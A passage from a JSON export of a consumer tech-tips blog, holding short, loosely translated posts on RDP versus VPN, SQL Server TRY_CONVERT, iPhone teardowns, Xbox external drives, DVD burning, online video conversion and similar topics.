Teamviewer, Citrix, and Apple Screen Sharing.\nOn Remote Desktop, you effectively take full control of the system. This also means that it is often not available to the actual person sitting in front of the computer, but instead watching how you remotely control the system. All keystrokes and mouse movements are sent to the remote computer via the Internet. On the other hand, the screen is also sent to the other person so they can see what's going on.\nWhat is a VPN? A VPN differs greatly from RDP. While using a VPN service, your device connects to the VPN server. You cannot control a VPN server directly, like Remote Desktop. A VPN works like a communication tunnel and allows you to change your IP address so you can maintain security and anonymity while online.\nOnce connected to the VPN, you continue to use your device instead of the external one. However, your device is still protected from many online threats and virtual location changes offer many other advantages.\nThe security aspect is the most important advantage of using a VPN over RDP. Remote Desktop doesn't have features like encryption, while every major VPN brand offers up to 256-bit encryption.\nThe difference between Remote Desktop (RDP) and VPN When it comes to comparing Remote Desktop (RDP) and VPN, there are 4 main concerns that include:\nSecurity RDP uses encrypted channels to provide a secure remote environment. However, some clients (especially old options) may not be compatible with this encryption.\nFlexibility If you want access to your network and its resources from anywhere, a VPN can help. However, RDP gives you complete control of a local computer remotely, unlike a VPN. So RDP is better than a VPN in terms of flexibility.\nBut it should be considered that a VPN is not only about screen sharing, enhancing privacy and security online, but also providing remote access to the network. So in the end it all depends on your needs.\nUsability However, a VPN can be used on any device of your choice, as there are user-friendly apps available for all major platforms. Most of them can also be used in the browser as extensions or add-ons. They slow down your connection to some extent, but can also help speed things up in some cases.\nCost VPNs are generally more cost-friendly than RDP (since the cost is mostly based on a device-by-device basis). Many VPN providers also offer seasonal deals, allowing users to get subscriptions at a reasonably discounted price.\nRDP, VPN or both? This depends on your situation and whether you are a business or a person.\nFor Businesses Employees should use a VPN to provide secure Internet access when using a shared WiFi network.\nVPNs must be deployed by employees to ensure secure remote access to the corporate network and its resources.\nIf your employees need to access and use a remote independent system, use RDP.\nIf the IT team requires remote access to employee computers, they can easily perform troubleshooting and maintenance operations using RDP.\nFor individuals - If you want to access the Internet securely, privately and freely, use a VPN.\n- To stream content not available from anywhere, use a VPN.\n- To avoid surveillance, use a VPN.\nThere may be a rare instance where you need to access your home computer remotely or let a trusted acquaintance do it. In this case, you should use RDP.\nVPN is the best solution as it offers the right features for your daily browsing needs. A VPN protects your online privacy and doesn't let other organizations access your network. You cannot do these with RDP.\nAs for RDPs, they can only be set up and used on a desktop or laptop computer. They also require high Internet speeds to function properly, but in most cases lag is common.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ2gn56Vp7Kvr8RmmZ6sp5qyr3nRnqSorJVisaa%2Fyq2mqWWimb1urc2dZK%2Bong%3D%3D\n","link":"/post/the-difference-between-remote-desktop-rdp-and-vpn/","section":"post","tags":null,"title":"The difference between Remote Desktop (RDP) and VPN"},{"body":"And as with every important asset, we have to make sure that we take good care of our data. We need to actively seek out and remove every issue in our databases to be able to use the data to its fullest potential. Data normalization is a process created specifically for such a clean-up of databases. Considering the central role of data in business, it is a procedure that one cannot afford to overlook.\n  Getting your data in shape Data normalization can be compared to the idea of getting fit by taking care of your body. The main reason to do both is health. As we take care of our bodies to stay in good health, so should we take care of our datasets to keep them clean and in great condition.\nAnd normalization of the database is also a kind of getting in shape. In this case, the shape refers to standard forms which we aim to give to our datasets, which would reduce the likelihood of errors to a minimum. There are six database arrangement ways, currently recognized as normal forms, following the naming introduced by Edgar F. Codd, the pioneer of data normalization.\nThese forms have a character of levels, meaning that every form from first to sixth is considered to be more normalized than the one before it. However, a database is thought to be sufficiently normalized when the third normal form is reached.\nSpecifically, normalization is a process by which redundancies and inaccuracies are methodically removed from the database. This is done by following a set of rearrangement rules that define the aforementioned normal forms. The information stored in the company's databases might be structured in various ways. Often, the structure is not clear and ordered enough to properly evaluate the data stored. Additionally, different databases might have conflicting information due to structural issues.\nPutting data units into the columns and tables as required by such rules allows to see such issues as empty fields, redundancies, and inconsistencies of the data and fix them. The higher the level of normalization, that is the latter normal form, is satisfied, the better we are enabled to do this.\nImportant Benefits of Data Normalization Thus, data normalization is a process that brings out issues with the data to the forefront by ordering the database. Once everything is in order, it is easy to make sure that new problems do not occur as data is updated further.\nThe general benefits of such a procedure are easy to understand. Let us consider a few more specific advantages provided by data normalization, that make this process extremely important.\n1) Protection of data. Unorganized data is at constant risk to be lost when handled due to such issues as deletion anomaly. Such processes when data is lost when the database is being updated is a costly and easily avoidable problem. After normalization data can be easily protected from being mishandled and misplaced among various databases. And as with money, saved data is earned data, thus normalization adds value to the assets of the business.\n2) Correction of data. When data is presented in normal forms, conflicting or simply incorrect information is easy to notice. This allows to correct the errors and fill in the blanks, making data more consistent and complete. Incorrect data is actually worse than no data at all, as it leads to misconceptions about the company's assets which may turn into misinformed decisions. Thus, normalizing data may protect the company from huge making huge mistakes.\n3) Cleaning the database. Redundant data gives data managers the wrong impression of how much data is actually owned by the company. For business intelligence even more important than knowing about other companies is knowing your own thoroughly. And as the importance of data in business is always growing, being mistaken about the scope of data owned is a big flaw in intelligence. One of the main purposes of data normalization is cleaning the database of such redundancies and making it clear how much and what kind of data is stored there.\nTwo paths to choose from When a company owns a lot of data and especially when this data is stored in multiple databases, a process like data normalization is extremely necessary. When one arrives at this conclusion there are two possible paths to choose from.\nThe first is decomposition, which is an attempt to improve the existing design through rearrangement. Another is the creation of the new design by the process of synthesis. The right way to choose depends on the current state of the database. One should arrive at this decision after a thorough inspection of this state.\nWhichever way is chosen, one can be sure that after normalization this state will be drastically improved.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKKkqaeiqa6vr8Rmpp9llJbBonnNqKmmmZyex6LAyKil\n","link":"/post/the-importance-of-data-normalization/","section":"post","tags":null,"title":"The Importance of Data Normalization"},{"body":"This article will show you in detail how to use the TRY_CONVERT data type conversion function in SQL Server with specific syntax and examples to better visualize and capture functions.\nDescribe The TRY_CONVERT function in SQL Server allows you to convert an expression to any desired data type but can follow a certain format (especially for the date data type). If the conversion fails, TRY_CONVERT will return NULL, otherwise it will return the corresponding conversion value.\nSyntax To use TRY_CONVERT function in SQL Server, we use the following syntax:\n TRY_CONVERT(kieudulieu(do_dai), bieuthuc, dinh_dang)  Parameters :\nkieudulieu: the new data type name to which the expression will be converted. Probably one of the following: bigint, int, smallint, tinyint, bit, decimal, numeric, money, smallmoney, float, real, datetime, smalldatetime, char, varchar, text, nchar, nvarchar, ntext, binary, varbinary or image. do_dai (optional): data type length for the result of char, varchar, nchar, nvarchar, binary and varbinary. bieuthuc: value to convert to another data type, can also be the name of a column in the table or a calculation expression that needs to be converted to a new data type. dinh_dang (optional): is a number that specifies the format for converting data from date format to string form. The table below describes some common formats used in the TRY_CONVERT function. Year format (yy) Year format (yyyy) Display data 0 100 mon dd yyyy hh: miAM / PM (Default) 1 101 mm / dd / yyyy (US standard) 2 102 yy.mm.dd (ANSI standard) 3 103 dd / mm / yy ( British / French standard 4 104 dd.mm.yy (German standard) 5 105 dd-mm-yy (Italian standard) 6 106 dd mon yy 7 107 Mon dd, yy 8 108 hh: mi: ss 9 109 mon dd yyyy hh: mi: ss: mmmAM / PM 10 110 mm-ddyy (USA standard) 11 111 yy / mm / dd (Japan standard) 12 112 yymmdd (ISO standard) 13 113 dd mon yyyy hh: mi: ss: mmm (Europe standard - 24 hour clock) 14 114 hh: mi: ss: mmm (24 hour clock) 20 120 yyyy-mm-dd hh: mi: ss (ODBC canonical - 24 hour clock) 21 121 yyyy-mm-dd hh : mi: ss: mmm (ODBC canonical - 24 hour clock) 126 yyyy-mm-ddThh: mi: ss: mmm (ISO8601 standard) 127 yyyy-mm-ddThh: mi: ss: mmmZ (ISO8601 standard) 130 dd y yyyy hh: mi: ss: mmmAM / PM (Hijri standard) 131 dd / mm / yy hh: mi: ss: mmmAM / PM (Hijri standard) Note :\nWhen converting float or numeric data types to int integers, TRY_CONVERT will cut the decimal part behind. See also CAST and CONVERT, TRY_CAST functions. TRY_CONVERT can be used in later versions of SQL Server: SQL Server 2017, SQL Server 2016, SQL Server 2014, SQL Server 2012. For example Take a look and explore some examples of TRY_CONVERT functions in SQL Server.\nSELECT TRY_CONVERT(int, 14.85); Result: 14 (kết quả là một giá trị int bị cắt phần thập phân) SELECT TRY_CONVERT(float, 14.85); Result: 14.85 (kết quả được trả về dưới dạng giá trị float và không bị cắt ngắn) SELECT TRY_CONVERT(float, '14 Main St.'); Result: NULL (kết quả là NULL vì không thể chuyển đổi giá trị chuỗi này thành float) SELECT TRY_CONVERT(varchar, 15.6); Result: '15.6' (kết quả được trả về dưới dạng varchar) SELECT TRY_CONVERT(varchar(2), 15.6); Result: NULL (kết quả là NULL vì chuyển đổi không thành công do giá trị không phù hợp với varchar độ dài 2 ký tự) SELECT TRY_CONVERT(datetime, '2018-09-13'); Result: '2018-09-13 00:00:00.000' (kết quả được trả về dưới dạng datetime) SELECT TRY_CONVERT(varchar, '2018-09-13', 101); Result: '09/13/2018' (kết quả được trả về dưới dạng varchar với kiểu 101 - mm/dd/yyyy (tiêu chuẩn Hoa Kỳ))  Previous article: TRY_CAST function in SQL Server\nNext lesson: Function @@ VERSION in SQL Server\nncG1vNJzZmismaXArq3KnmWcp51kwbPFvpymp66Vp8FustSnmq2hn6N6qrqMrKilZaOav7ex0Q%3D%3D\n","link":"/post/try-convert-function-in-sql-server/","section":"post","tags":null,"title":"TRY_CONVERT function in SQL Server"},{"body":"Take a look at the components inside the iPhone to understand why these products have become the highest standards, which the rest of the world must follow.\niPhone 2G - Released in 2007 iPhone 2G is the first brick for the empire of more than 2 trillion dollars named Apple at the present time.\n  All internal components of iPhone 2G. The entire chassis is made from aluminum, only the bottom of the machine has a plastic array to place the receiving antenna.\n  2MP camera cluster for poor image quality, no video recording capability and no autofocus feature.\n  The motherboard part with the processor is processed by Samsung.\n      iPhone 3GS - Released in 2009 iPhone 3G is not much different from iPhone 2G other than adding new connectivity.\niPhone 3GS released in 2010 marked a lot of changes in both hardware and software.\n  iPhone 3GS has a glossy plastic back that is quite easy to scratch.\n  The motherboard part with the processor is still processed by Samsung.\n  3MP camera cluster with autofocus and 480p video recording.\n  30-pin charging port.\niPhone 4S - Released in 2011 iPhone 4S is remembered by the global technology-loving community with the nostalgic name \"iPray 4 Steve\" (iP4S) because it was introduced at a time when the illness of the late CEO Steve Jobs was getting worse.\n  The aluminum frame design with two super impressive glass sides of the iPhone 4S.\n  Apple A5 processor made by genuine manufacturer.\n  The main camera of iPhone 4S has 8MP resolution but has been upgraded in algorithm, so it gives better image quality.\n  The 0.3MP selfie camera mainly serves the Facetime feature.\niPhone 6 - Released in 2014 iPhone 6 is a product Apple has radically changed the design compared to previous products with an aluminum frame covering the body and a tempered glass front. This is one of Apple's most successful products.\n  The aluminum frame covers the entire body.\n  The motherboard with Apple A8 processor is designed to be more compact to make room for a larger battery.\n  The old-style 8MP camera has been upgraded with more powerful features.\n  Touch ID sensor with physical Home key.\niPhone 7 - Released in 2016 iPhone 7, with many improvements in terms of user experience, is one of the best-selling models ever produced by Apple.\n  iPhone 6 has an eye-catching matte black painted frame.\n  Motherboard board.\n  The 3.5mm headphone jack has disappeared from the components of this model.\u0026nbsp;\n  Taptic Engine - this vibrator has changed the user experience, contributing to the process of Apple removing the physical Home key into a hard Home key on the iPhone 7.\n  Lightning charging port module.\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2F0p6araGenHqqvMeopZ5lYmLBsHnIqZ%2BoppVihG7Azmaqnp1dqbWiwIyap6mklWLEor%2BMr5yrsV2isrW1wq6jqK2jYsSpsc1mm56rmZy7qrrGZqCpoJ%2Bjsg%3D%3D\n","link":"/post/dissecting-iphone-2-to-iphone-7-to-see-that-apple-was-very-meticulous-when-designing-iphone/","section":"post","tags":null,"title":"'Dissecting' iPhone 2 to iPhone 7 to see that Apple was very meticulous when designing iphone!"},{"body":"Following the tradition of his father, the iPhone 12 once again has the overwhelming power, crushing the performance of any phone on the market, including Samsung Galaxy S20 Ultra, the most powerful Android device available today. .\nThe new Weibo benchmark of the iPhone 12 is similar to the performance of the iPad Pro, which is already capable of exceeding the scores of most laptops on the market. According to what has been recorded from Geekbench 5, iPhone 12 will use A14 Bionic chip running at 3.1GHz. It will also be the processor chip for the first handsets to surpass the 3 GHz mark.\n According to recent rumors, this massive CPU will be produced on TSMC's 5nm process. In theory, A14 will almost hit the physical limit of electronics in the current time.\nWith dimensions of about 6 inches, Apple's 2020 iPhone lineup will have terrible scores of up to 1658 single-core 4612 multi-core. Meanwhile, the Galaxy S20 Ultra, the most powerful Android phone on the market, can only score 805 and 3076.7, respectively. In fact, this score has lost to A13 Bionic on iPhone 11, let alone A14. The Snapdragon 865 will surely continue to smell again.\nAlthough the multi-core score is not much different, only about one and a half times, the single-core score of A14 is more than 2 times of the Snapdragon 865. Perhaps Qualcomm or Samsung, Huawei will still take many years, even forever, to can chase Apple for CPU performance on mobile devices.\nOf course, the above score is for reference only because it reflects pure processing power and cannot tell the full performance of a device. We still need to consider RAM, the speed of internal memory or the operating system. The impressive figures at the present time will show that the next generation of iPhone will have tremendous power, equivalent to an iPad Pro to \"weigh\" all kinds of applications \"close to the hardware\" that dreams. New Android phones can be stretched.\nncG1vNJzZmismaXArq3KnmWcp51kr6a6wqGkmqqbYq%2BmusKhpJqqm2K8p3nIqZ%2BoppVifnN5yqKjpWWknbJussueqqFloJq%2Fp7vRppinm5VivKd5wKewZpmemb%2BwtcNmp6Gnnpo%3D\n","link":"/post/kill-the-flesh-performance-of-any-android-phone/","section":"post","tags":null,"title":"'kill the flesh' performance of any Android phone"},{"body":"Mini World Block Art is a free 3D Sandbox game that lets players unleash their creativity at will, explore with friends. The gameplay and graphics are considered somewhat similar to Minecraft.\nHowever Mini World: Block Art is somewhat more creative when there are many features that allow players to change parameters of in-game items. Currently the game is available on iOS, Android and even PC.\nIf you are using Tencent Gaming Buddy emulator to play PUBG Mobile, you can also download and install Mini World: Block Art on TGB to play without having to download the Mini World Block Art PC version anymore. Below is a guide to downloading and installing Mini World: Block Art on Tencent Gaming Buddy.\nGuide to making food in Minecraft game Instructions for creating your own Minecraft mods to play games in your style How to make things in Minecraft games How to download and install Minecraft on Tencent Gaming Buddy emulator Step 1: First select the Game Center item in the main interface of Tencent Gaming Buddy. In the list of games next to you go to the Mini World Block Art game\n  After selecting Mini World Block Art, click Install .\n  Wait a while for Mini World Block Art to download and install, the game is quite light, so you won't need to wait too long.\n  When entering the main interface you just need to create a character, select the year of birth and then select the game mode.\n  Mini World Block Art without appearing on Tencent Gaming Buddy, you must install an external APK file in Tencent Gaming Buddy. As such, Tencent Gaming Buddy's control settings will not be optimized compared to now.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmpKKmmWLEsL7LnWSbpJ%2BYuG6t0a1kqKZdqbKvr8Snq2afkaK2r7OMm6ydnKk%3D\n","link":"/post/block-art-on-tencent-gaming-buddy/","section":"post","tags":null,"title":"Block Art on Tencent Gaming Buddy"},{"body":"The photo browsing function in ACDSee is great and convenient because you can preview photos as default thumbnails. However, ACDSee has a problem when you browse a folder with a lot of images, its image display speed is quite slow, affecting the operation of the computer. Therefore, in order to speed up the display of images, you can use the indexing of image folders to often browse the following steps:  - In ACDSee, click the Database menu and select Catalog Files . - In the first dialog box, select one of the Catalog of My Pictures folder . (index the folder to save the default image of My Pictures and its folders) or Catalog a specific set of folders . (indexing one or more other directories). After selecting, click Next . - If the above step selects the first item, then in the next dialog box, just click Finish and finish. If you choose the second item, in the next dialog box you must select the folder to be indexed by clicking the Add Folder button, then click Next twice and then click Finish . Nguyen Huu Duc\nncG1vNJzZmismaXArq3KnmWcp51kr7O71qycZqiYpMGwv4yqrKKbm6HGbrXNZpicnKOasg%3D%3D\n","link":"/post/browse-photos-quickly-in-acdsee/","section":"post","tags":null,"title":"Browse photos quickly in ACDSee"},{"body":"JAlbum is a tool to help you create digital album sets in HTML format so that you can upload your website or store memories easily by dragging and dropping photos from your computer's files to the program's window. . The promotion only takes place in a short time, so if you have any needs, please quickly register to download.\n  The main features of JAlbum:\nCreate Album from image files on your computer just by dragging and dropping with multiple album templates available. Support photo editing tools like inserting text, zooming in, zooming, cutting, watermarking, page numbering . Create HTML file for newly created Album. Allows importing data into EXIF, JPEG, or IPTC tags of each image. Support popular image formats including: EXIF, JPEG, or IPTC and movie formats such as AVI, MPG, and WMV. Upload Album to websites via FTP protocol. Provide an integrated website to create and store albums online without having to set a password. Instructions to receive free copyright of JAlbum application:\nStep 1: Visit the SharewareOnSale -JAlbum website and click on the box DOWNLOAD JALBUM NOW.\nSharewareOnSale - Free JAlbum\n  Step 2: Complete the required information and click on the GIVE IT box TO ME NOW.\n  Step 3: Select software version (32 bit or 64 bit) and download.\n  Copyright has been built into the installation, so you just need to download and install without any further action.\nSee more:\nAcronis Ransomware Protection, a completely free anti-ransomware solution for Windows iPhone 7 has a wave loss error that Apple will fix for free Invite Seed4.Me VPN download, the application supports unlimited web access worth 36 USD, is free of copyright for 1 year Download CyberLink PowerDirector 15, a professional video editing software for $ 49.99, free of charge ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpyZo7RutsClma6lXam1pnnPoaatp12WuaPBzGaYqaicnrCiwMiopWaen6d6tbTEZq6emqOewaZ5xaipZmxkYra0ecWrnJ4%3D\n","link":"/post/downloading-jalbum-the-photo-album-application-for-the-website-for-44-is-free/","section":"post","tags":null,"title":"Downloading JAlbum, the photo album application for the website for $ 44, is free"},{"body":"As you know, drivers are an indispensable component on every computer, drivers are like a bridge between software and hardware of the computer to allow computer programs, operating systems and other applications. Interact with a hardware device. For example, if your computer lacks wifi drivers, that computer cannot connect to wifi, so if your computer lacks drivers, it will not be able to work normally. Normally when you reinstall Windows, you will often encounter missing drivers at this time, the task of finding the right driver for your computer takes a lot of time if you do it manually. This is why automatic driver update software is released, which will help you automatically install and update the missing drivers in a single note. In this article TipsMake.com will introduce to you such a software with the name Driverpack Solution, please refer.\n  DriverPack Solution is a well-known driver update software that helps us install and update drivers with just a few simple steps. This is a Russian software, it is now used by nearly 50 million people. The above figure also partly speaks to the reputation of DriverPack Solution.\nTo download DriverPack Solution software, you can access the following link:\nhttps://drp.su/en/foradmin\nAfter downloading, double-click on the file to run the software, in the main interface you can choose the Vietnamese language to make it easier to use:\n  In the middle of the screen is an auto-install button, when you press this button the software will automatically install and update the missing drivers for your computer.\nNote: if you choose to install automatically, DriverPack Solution can install some other software on your computer, you can see in the right column to see the name of the additional software installed. If you do not want to install these software, select Professional mode\n  In this interface, you can select the drivers you want to install and uncheck the drivers you do not want to install.\n  Switch to the application, you will see some software selected to install on your computer. You should deselect all these software if you do not want to install.\n  Then you return to the original interface and select Install everything:\n  The software will start downloading and installing the driver for your computer:\n  After installation is complete, the message shown below means your driver has been updated successfully\n  Above is a tutorial on how to use Driverpack Solution software to update computer drivers automatically. Hope you will find the article useful, wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ksbO11Z6pqZmToHq0u8uuq6KnnmKxsMPNpaaanF2Zv6rCxKunmpubYsCwuNStoKimXam8bq3UraammaSesKK4y7JkrqiUlsGmedOhnGacop7Dpr6Mn6arZZOkurHB056prA%3D%3D\n","link":"/post/driverpack-solution-download-driverpack-solution-to-automatically-update-the-driver-for-computers/","section":"post","tags":null,"title":"Driverpack Solution - Download Driverpack Solution to automatically update the Driver for computers"},{"body":"If you've owned Xbox One for a while, chances are you'll run out of storage. Most Xbox One models come with either a 500GB or 1TB drive, but this is not a lot.\nThankfully, you can add some extra space using an external Xbox One hard drive. In this article, TipsMake.com will detail everything you need to know about external Xbox One hard drives.\nDo you know how to add an external hard drive to Xbox One? You cannot replace an internal Xbox One drive Games can be run faster from external storage devices You can also use an external SSD External hard drives allow you to bring games to other systems Requires external hard drive Xbox One Best external hard drive for Xbox One The best external Xbox One external hard drive: WD 2TB Elements Portable External Hard Drive Best Xbox One external hard drive for maximum storage capacity: Seagate Expansion Desktop 8TB External Hard Drive Best cheap Xbox One external hard drive: Silicon Power 1TB Rugged Portable External Hard Drive Best external SSD for Xbox One: Samsung T5 Portable SSD 500GB  How to use an external hard drive on Xbox One How to set up an external hard drive for Xbox One Manage external storage devices on Xbox One  You cannot replace an internal Xbox One drive   An important thing to note, external hard drive is the only officially supported solution to get more Xbox One storage. Although technically you can replace the internal hard drive, doing so will void the console's warranty.\nDoing this is also quite difficult, so the article recommends that you do not use this method, unless you are comfortable dismantling your utilities. Buying an external hard drive is a much simpler solution.\nGames can be run faster from external storage devices While it may seem counterintuitive, older Xbox models can actually perform better when running games from an external hard drive.\nThis is mainly because the external hard drive's USB 3.0 connection provides a faster speed than the SATA II drive inside the console. In addition, external drives do not have to handle console features, such as opening many applications and running the operating system. Therefore, there are more resources available for games.\nHowever, if you have an Xbox One X, the performance from an external hard drive is likely to be comparable to the internal hard drive. The more powerful Xbox One X uses the superior SATA III connection for internal hard drives, meaning the speed is equivalent to what you get from external hard drives.\nYou can also use an external SSD Most people are interested in buying an external hard drive for Xbox One to increase the amount of available storage. However, you can buy an SSD if you want to.\nSSDs are much faster than traditional hard drives, more expensive, but have less storage space. If you have a few specific games that like to play and want them to load as quickly as possible, consider an external SSD. However, for others, the sheer capacity of HDDs makes them better value.\nExternal hard drives allow you to bring games to other systems Modern consoles make it difficult to bring games to a friend's house to play, due to account limitations and large file sizes. However, you can use an external hard drive to easily play games installed on other Xbox One.\nThe only requirement is that you must be logged into the account that owns the game. As long as this condition is met, you can enjoy Xbox games installed on your external hard drive on a friend's console. If the games are on a disc, you also need to insert a disc to play them.\nRequires external hard drive Xbox One Requirements for Xbox One compatible drives are quite light. Microsoft Xbox One storage device troubleshooting page is as follows:\nThe drive must be at least 128GB (while other Microsoft sites set this minimum to 256GB). However, you may want to use a much larger drive to store games, as the 128GB capacity can only hold a few games. Need to use USB 3.0 connection. This ensures that it can handle the high data rates that games require. You cannot connect more than 3 storage devices to Xbox One at the same time. However, other Microsoft sites say the limit is 2, so you need to make sure you follow that. Although not officially confirmed, the maximum storage size for external hard drives is 16TB. You probably don't need this huge amount of storage, so this is not a problem for most people. Any drive with these parameters will work fine. Quite a few external hard drives over the last few years have at least 500GB and use USB 3.0, so you should have no trouble finding a compatible device.\nBest external hard drive for Xbox One If you're not sure which drive to choose for Xbox One, here are the options you should consider.\nWhile looking to buy an external hard drive, you may notice that there is an official Seagate drive branded Xbox. But you should avoid using this device, because it is more expensive than comparable drives but does not provide any additional value.\nThe best external Xbox One external hard drive: WD 2TB Elements Portable External Hard Drive Reference price: $ 59.99 (1,398,000 VND)\n  For casual gamers, this 2TB WD drive creates a good balance of cost and storage space. The small size of this product makes it easy to plug it into the back of Xbox One, place it on top of the system and no need to worry about anything.\nIf you like this drive but need more or less capacity, you can choose capacities from 1TB to 5TB.\nBest Xbox One external hard drive for maximum storage capacity: Seagate Expansion Desktop 8TB External Hard Drive Reference price: $ 139.99 (3,260,000 VND)\n  If you have tons of games to store, consider this Seagate drive for more space. 8TB is enough for most people to keep the entire collection, with the price still relatively affordable.\nBecause this is a desktop drive, it is not powered via USB like the other options. Instead, you need to plug it into an electrical outlet. This drive is also bigger than the removable drive, so make sure you have enough space for it.\nBest cheap Xbox One external hard drive: Silicon Power 1TB Rugged Portable External Hard Drive Reference price: $ 42.99 (1,000,000 VND)\n  If you need more space but don't want to burn out, then 1TB is the smallest you should buy and this Silicon Power drive has a lot to offer. In addition to being affordable, the drive has a solid construction and water resistance.\nThese features, along with the integrated cable storage slot, make it suitable for those who often need to bring consoles out.\nBest external SSD for Xbox One: Samsung T5 Portable SSD 500GB Reference price: $ 83.10 (VND 1,933,000)\n  Those who want to own an external SSD instead of a traditional hard drive should consider this Samsung drive. It is very small in size and provides 500GB of fast storage for your favorite games.\nOf course, SSDs will be more expensive than standard hard drives.\nHow to use an external hard drive on Xbox One Once you've chosen the product you want, using an external hard drive on Xbox One is simple. Here are the basic steps you need to know.\nHow to set up an external hard drive for Xbox One First, plug the drive into the console. You can use any of the available USB ports, but choose the back ports to keep the cables tidy.\nAfter a few moments, you'll see a message appear asking if you want to use the drive to store media or game content. Although you can use an external hard drive to store music and movies, this is not something most people are pursuing, so choose Format storage device .\n  Next, give the device a name. You will then choose whether you want to install the game on the external hard drive. Based on the speed increase discussed above, this is usually a good idea.\nFinally, you will need to click Format storage device to confirm.\n  Remember that formatting an external hard drive to use with Xbox One will erase everything on the drive, so make sure you back up any existing content before. Also, once you've formatted a drive to use with Xbox One, you can't use it on other platforms like PCs unless you format the drive again for use with them.\nManage external storage devices on Xbox One Once the drive is formatted, all settings will run on Xbox One. To manage the storage device, press the Xbox button on the handle and use RB to scroll through the cog icon, then select Settings. Open System\u0026gt; Storage .\n  You will see the Manage storage section on the right, which will contain all connected drives.\nSelect a drive to see different options, such as setting it as the default installation location, see what was installed on it, transferring content between devices, etc.\n  The Xbox considers all available storage devices as a large group, so it displays everything you have installed in My Games \u0026amp; Apps . So you don't need to worry about where the game is saved, unless you want to move it due to speed or space concerns.\nYou have now installed the external hard drive Xbox One. You will have more space to store your game collection. Adding a few terabytes will keep you from having to worry about having to uninstall anything until you upgrade to the next Xbox generation.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51ksrex0bKroaGenHq6u9RmpZ6dlGLBsHnKp6awZZGXvLbAjJ6vrZ2io66teceaqZ1llKe2t7HSZq%2Bbp6hivK%2Bx\n","link":"/post/everything-you-need-to-know-about-external-hard-drives-xbox-one/","section":"post","tags":null,"title":"Everything you need to know about external hard drives Xbox One"},{"body":" A dual-layer DVD allows for almost double the storage of a regular DVD, but the burning process can be a little tricky. For starters, you'll need a burner that can support dual-layer recording. You'll also need special software in order to...\nMethod 1of 2:\nBurning a Dual-Layer Data DVD  Insert the dual-layer DVD into your drive. In order to burn a dual-layer project, you must be using a dual-layer DVD, and your drive must support burning dual-layers. If you try to burn a dual-layer project to a single-layer disc, you will encounter errors.\n  Open Nero StartSmart/Nero Express. This program will come installed with certain DVD burners, or can be purchased directly from Nero. Start a New Project and then select Data. In the Data submenu, select Data DVD.\n  Switch to dual-layer. By default, your project will be a standard single-layer DVD, even if you have a dual-layer DVD inserted. Click the dropdown menu next to the capacity meter. Select DVD9 to switch it to dual-layer. Click the Add button to add the files that you want to burn from your computer, or drag and drop them into the window.\n  Check your available space. As you add files, the meter on the bottom will fill up. Dual-layer DVDs can hold up to 8.5 GB of data. If you have less than 4.7 GB of data, it might be cheaper to burn it to a standard DVD. Press Next when you are finished adding files.\n  Name your disc. In the next screen, give your disc a name so that you'll recognize it when it's inserted. Make sure that you have the correct DVD burner selected in the 'Current recorder' section.\n  Click Burn to begin burning the disc. Nero will show you the status to let you know when the process has completed successfully.\n Method 2of 2:\nBurning a Dual-Layer Video DVD  Download a different burning program. Nero is notoriously inefficient at burning dual-layer video DVDs, because it does not handle the layer break well. This is the spot in the disc where the reader moves from the first layer to the second layer. You will need a program more capable of handling this correctly, such as ImgBurn. In order to burn a dual-layer video DVD, you will need your video file on your computer formatted into the VIDEO_TS folder format. This occurs when you rip a DVD, or copy an unprotected DVD from the disc to your hard drive.   Open ImgBurn. Click the Mode menu, and then select Build. Click the small 'Browse for a Folder' button to open the file browser. Navigate to your VIDEO_TS folder and click OK.\n  Click the calculator button. This will ensure that the video will fit onto the disc when you burn it. This will open the layer break selector. ImgBurn will rate all of the available options. Choose the option with the highest rating to ensure the smoothest possible transition between layers.\n  Click the Build button. The burn process will begin. Dual-layer DVDs can take a long time to burn, so you may have to wait awhile. Once the process is complete, watch the video in a DVD player to test it out.[1]\n  David Pac Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqlp7tusNSao2akka6ys3nDr5usZaWotq%2BzjKecq6ddqMGivtOspJqqpA%3D%3D\n","link":"/post/how-to-burn-dual-layer-dvds-using-nero-startsmart/","section":"post","tags":null,"title":"How to Burn Dual Layer DVDs Using Nero StartSmart"},{"body":"Currently, the software supports video conversion a lot, you can even use the built-in conversion feature of some video playback software such as VLC. But if you don't want to install multiple programs on your computer and want to make a quick conversion, online video conversion services are the right choice.\nZamzar is one such tool. Users only need to upload the video on Zamzar's homepage, waiting for the successful conversion of video to download the video to the computer quickly. Besides, Zamzar also supports some types of videos suitable for some smartphone lines, so you can freely choose and convert completely free. In the following article, Network Administrator will proceed to convert video format with Zamzar service for free.\nStep 1: First of all, go to Zamzar's homepage under the link below:\nConvert video format with Zamzar Step 2: Below is Zamzar's interface, we click on the Choose Files button to upload the video to the homepage.\n  Next, the Open window appears on the computer. Here, we will find the folder containing the video you want to change the format, click the video and click Open .\n  Step 3: In this step, we will press the search for the video format to convert . Click Convert files to .\n  Zamzar supports both video, audio and format formats for current smarpthone lines.\n  Step 4: After selecting the video format to convert, we proceed to enter the email address to Zamzar that will send the video download link through the email address, when convert is completed. Finally click the Convert button as shown below.\n  Step 5: We wait for the video format conversion to complete.\n  Soon, you will be taken to the new File upload interface. This message will tell us to log in to the email address entered above.\n  Step 6: At the personal email interface, click on the blue link as shown below.\n  Step 7: Go to the interface on Zamzar page. Finally, just press the Download button to download the video to your computer. We can use video playback programs like Windows Media Player, VLC or KMPlayer to play videos.\n  Support rich video conversion formats, from audio to video formats for smartphones, Zamzar allows users to freely choose to convert to video. Zamzar has a very fast video format conversion process, so you can rest assured when using this online tool.\nRefer to the following articles: Convert videos with Format Factory Instructions for joining subtitles into videos with Formar Factory How to write Vietnamese in Proshow Producer I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmpqekmaOybsLInZyoZZakv66t02auoqyYYseiudmaqQ%3D%3D\n","link":"/post/how-to-convert-online-video-format-with-zamzar/","section":"post","tags":null,"title":"How to convert online video format with Zamzar"},{"body":"Java is a computing platform that allows you to play games and view videos on your computer. You can tell that your computer is having problems with Java if you see Java errors appear when you try to run a program or visit a website that...\nMethod 1of 